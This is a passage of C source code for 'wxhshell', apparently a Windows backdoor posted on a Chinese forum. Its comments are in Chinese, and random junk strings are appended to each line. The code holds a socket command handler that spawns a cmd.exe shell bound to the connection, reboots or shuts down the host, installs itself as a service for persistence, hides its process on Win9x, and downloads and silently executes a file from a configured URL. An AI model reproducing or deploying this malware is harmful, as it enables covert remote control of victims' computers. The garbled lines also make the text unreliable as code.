  // 帮助 EH! q=&d  
  case '?': { < F.hZGss7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3GhRWB-U  
    break; !~rY1T~  
  } NP/Gn6fr  
  // 安装 f m)pulz  
  case 'i': { 'g m0)r  
    if(Install()) A"G 1^8wvX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Uf]Q$uCjE  
    else G'ei/Me6{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Q/TlOt5  
    break; ov_j4 j>6P  
    } [8=vv7wS  
  // 卸载 )E-inHD /  
  case 'r': { AN/;)wc  
    if(Uninstall()) :lPb.UCY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n T{3o;A  
    else U$WxHYo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K|hjEQRv  
    break; F|e1"PkeoA  
    } #\ X#w<\?  
  // 显示 wxhshell 所在路径 rp!oO>F  
  case 'p': { 4hTMbS_;  
    char svExeFile[MAX_PATH]; C,ARXW1  
    strcpy(svExeFile,"\n\r"); \1fN0e  
      strcat(svExeFile,ExeFile); hM6PP7XH  
        send(wsh,svExeFile,strlen(svExeFile),0); @ W[f1  
    break; ?7.7`1m !v  
    } eOs)_?}  
  // 重启 KmA;HiH%J  
  case 'b': { $+Z)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "2)H'<  
    if(Boot(REBOOT)) ]dGw2y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lTV'J?8!-a  
    else { CkoL TY  
    closesocket(wsh); 2Q/4bJpd  
    ExitThread(0); mUdOX7$c>  
    } 0"\H^  
    break; @M_oH:GV  
    } hPUYyjXPB  
  // 关机 "NXB$a!:  
  case 'd': { IDB+%xl#S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2ZG5<"DQ"  
    if(Boot(SHUTDOWN)) [f1 (`<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oPXkYW  
    else { o:3dfO%nuM  
    closesocket(wsh); iB%gPoDCL@  
    ExitThread(0); w~"KA6^  
    } Kgi<UkFP  
    break; X[&Wkr8x '  
    } ymx>i~>7J  
  // 获取shell ZaV8qAsP  
  case 's': { ['B?i1 .  
    CmdShell(wsh); &:dH,  
    closesocket(wsh); Q;43[1&3w  
    ExitThread(0); gy 3i+J  
    break;  a1t4Dd  
  } P3)Nl^/  
  // 退出 X\@C.H2ttY  
  case 'x': { YkniiB[/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w35J.zn  
    CloseIt(wsh); {f2S/$q  
    break; w[S pw<Z  
    } ^=RffrlZU  
  // 离开 \eT5flC  
  case 'q': { bzuEfFaL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aTqd@},?  
    closesocket(wsh); V )x$|!(  
    WSACleanup(); D6>2s\:>vp  
    exit(1); CF&6J$ZBgJ  
    break; z$/_I0[  
        } ;*:]*|bw  
  } f78An 8  
  } >0p h9$  
Mn2QZp4  
  // 提示信息 j3{I /m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )FF>IFHG  
} >*#1ZB_l  
  } 1 u| wMO  
r? NznNVU  
  return; =|3ek  
} T92UeG  
X(]WVCu  
// shell模块句柄 _wkVwPr  
int CmdShell(SOCKET sock) |)b6>.^  
{ H%UL%l$  
STARTUPINFO si; zr+zhpp  
ZeroMemory(&si,sizeof(si)); LcB]Xdsa(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5_I->-<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;#xmQi'`  
PROCESS_INFORMATION ProcessInfo; 4'`{H@]tb  
char cmdline[]="cmd";  \N!AXD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U(Nu%  
  return 0; K9$>Yxe|  
} \?0&0;5  
Tx|Ir+f6L  
// 自身启动模式 ypKUkH/  
int StartFromService(void) @z4*.S&tz  
{ @SJL\{_  
typedef struct 5iz{op<$,  
{ wkA+j9.  
  DWORD ExitStatus; ko.(pb@+  
  DWORD PebBaseAddress; R?~Yp?B^  
  DWORD AffinityMask; )0"wB  
  DWORD BasePriority; ,2j&ko1  
  ULONG UniqueProcessId; ?Z Rs\+{vG  
  ULONG InheritedFromUniqueProcessId; 7 %Oa;]|  
}   PROCESS_BASIC_INFORMATION; <>s`\ %  
>}`:Ac  
PROCNTQSIP NtQueryInformationProcess; q3.j"WaP  
` k[-M2[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3D!5T8 @  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E^ P,*s  
0B@SN)<kH  
  HANDLE             hProcess; /y _O 4  
  PROCESS_BASIC_INFORMATION pbi; %{AO+u2i  
01r 8$+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8$85^Of  
  if(NULL == hInst ) return 0; zVXC1u9B  
Ir`eL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /<@SFF.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *c~T@m~DR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !46RGU:I  
#!aN{nK0  
  if (!NtQueryInformationProcess) return 0; {1V($aBl  
"= 6_V?&w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :3XA!o&.T3  
  if(!hProcess) return 0; @&%'4j&+  
2z6yn?'&L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \>jLRb|7Ts  
(]0%}$Fo  
  CloseHandle(hProcess); SB1upTn  
@.b+av4J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A+::O@_s  
if(hProcess==NULL) return 0; %_+2@\  
M9V q -U18  
HMODULE hMod; rR9|6l 3  
char procName[255]; mef<=5t  
unsigned long cbNeeded; [5zx17'  
T&%ux=Jt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kqp(%8mf  
&Sl[ lXE  
  CloseHandle(hProcess); y4t7`-,~  
|X0Y-  
if(strstr(procName,"services")) return 1; // 以服务启动 SSz~YR^}Sr  
W3IpHV  
  return 0; // 注册表启动 xC*6vH]?  
} T*#/^%HSG  
@ zs'Y8  
// 主模块 ^T ?RK "p  
int StartWxhshell(LPSTR lpCmdLine) [s"O mAy4  
{ <KE 1f7c  
  SOCKET wsl; Av xfI"sp  
BOOL val=TRUE; +=q$x Ia  
  int port=0; (g[h 8 c  
  struct sockaddr_in door; _A+s)]}  
B^j  
  if(wscfg.ws_autoins) Install(); :"=ez<t  
e\Y*F  
port=atoi(lpCmdLine); mz @T  
3Mxp)uG/  
if(port<=0) port=wscfg.ws_port; ]Y2RqXA*  
g#F?!i-[F  
  WSADATA data; 2"Ecd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @6{~05.p  
cxA^:3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gZLP\_CL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IhA5Wt0j  
  door.sin_family = AF_INET; 12;8o<~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2_n7=&  
  door.sin_port = htons(port); lz YEx  
o_@4Sl8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n#q<`}u,  
closesocket(wsl); K8>zF/# +  
return 1; BybW)+~  
} 85n1eE  
D}dn.$  
  if(listen(wsl,2) == INVALID_SOCKET) { iVB86XZ`  
closesocket(wsl); wF|fK4F  
return 1; NWM8[dI  
} V n*  
  Wxhshell(wsl); xnmmXtk  
  WSACleanup(); jp0<pw_  
r30 <(nF  
return 0; <\NY<QIwFw  
B$b +Ymu  
} in~D  
'+osf'&  
// 以NT服务方式启动 )3~{L;q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V'kX)$  
{ zUKmxy@  
DWORD   status = 0; G '6@+$ppS  
  DWORD   specificError = 0xfffffff; Qp/QaVQ+  
Tav*+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H*[ M\gN$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W#KpPDgZE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Jzp Sw  
  serviceStatus.dwWin32ExitCode     = 0; @&X|5p"[g  
  serviceStatus.dwServiceSpecificExitCode = 0; -7S g62THS  
  serviceStatus.dwCheckPoint       = 0; Ezr:1 GJ  
  serviceStatus.dwWaitHint       = 0; /lo2y?CS*  
k 9L? +PD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U@-^C"R  
  if (hServiceStatusHandle==0) return; GH+r ?2<  
e6d<dXx  
status = GetLastError(); q OSM}ei>s  
  if (status!=NO_ERROR) S-k8jm  
{ #a<Gxj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VH+%a<v"  
    serviceStatus.dwCheckPoint       = 0; bsB*533  
    serviceStatus.dwWaitHint       = 0; :/ Q   
    serviceStatus.dwWin32ExitCode     = status; \~fONBY  
    serviceStatus.dwServiceSpecificExitCode = specificError; {5F-5YL+>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ q<v{_  
    return; i(iXD  
  } " f "6]y  
o| #Qu8Lk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c )G3k/T5  
  serviceStatus.dwCheckPoint       = 0; 4WJ.^(  
  serviceStatus.dwWaitHint       = 0; cFeXpj?GV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yls ^cyX  
} v#.r.{t  
7 T1=q{#M  
// 处理NT服务事件,比如:启动、停止 -?mfE+kt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z/t+8;TMR,  
{ Jh ]i]7r  
switch(fdwControl) #)C[5?{SNq  
{ ||;hci O  
case SERVICE_CONTROL_STOP: S" xKL{5  
  serviceStatus.dwWin32ExitCode = 0; P %#<I}0C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EJsM(iG]~M  
  serviceStatus.dwCheckPoint   = 0; .w0s%T,8}^  
  serviceStatus.dwWaitHint     = 0; kP-3"ACG  
  { <Dwar>}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^R# E:3e  
  } I~ok4L?VB  
  return; 3+@<lVew6  
case SERVICE_CONTROL_PAUSE: tD+9kf2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UazP6^{L  
  break; jV4\A  
case SERVICE_CONTROL_CONTINUE: MBqt&_?K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y *fDwd~  
  break; fp+gyTnd3  
case SERVICE_CONTROL_INTERROGATE: H[S%J3JI  
  break; qYlhlHD  
}; T~Gvp0r}h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U-R6xxPZ  
} `QyO`y=?[Y  
{&\jW!&n  
// 标准应用程序主函数 =5kY6%E7c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X{\F;Cb*  
{ `NgAT 3zq  
nv@8tdrc  
// 获取操作系统版本 ~c %hWt  
OsIsNt=GetOsVer(); kic/*v\6@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YgUvOyaQXf  
%?p1d!  
  // 从命令行安装 'H \9:7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4:r!|PJn{G  
aB7+Tb  
  // 下载执行文件 |Z=^`J  
if(wscfg.ws_downexe) { qI~xlW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tl2C^j  
  WinExec(wscfg.ws_filenam,SW_HIDE); @wE5S6! B\  
} (X?%^^e!  
4}4Pyjh  
if(!OsIsNt) { A29gz:F(  
// 如果时win9x,隐藏进程并且设置为注册表启动 |j#C|V%kV  
HideProc(); 1 D<_N  
StartWxhshell(lpCmdLine); J"=vE=  
} ^yyC [Mz  
else wtH? [>S;)  
  if(StartFromService()) (2:/8\_P  
  // 以服务方式启动 UN]f"k&  
  StartServiceCtrlDispatcher(DispatchTable); @I_8T$N=  
else =8; {\  
  // 普通方式启动 aC%m-m  
  StartWxhshell(lpCmdLine); uF1~FKB  
@U3Vc|  
return 0; e^<#53!  
}
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只看该作者 1 发表于: 2006-10-10
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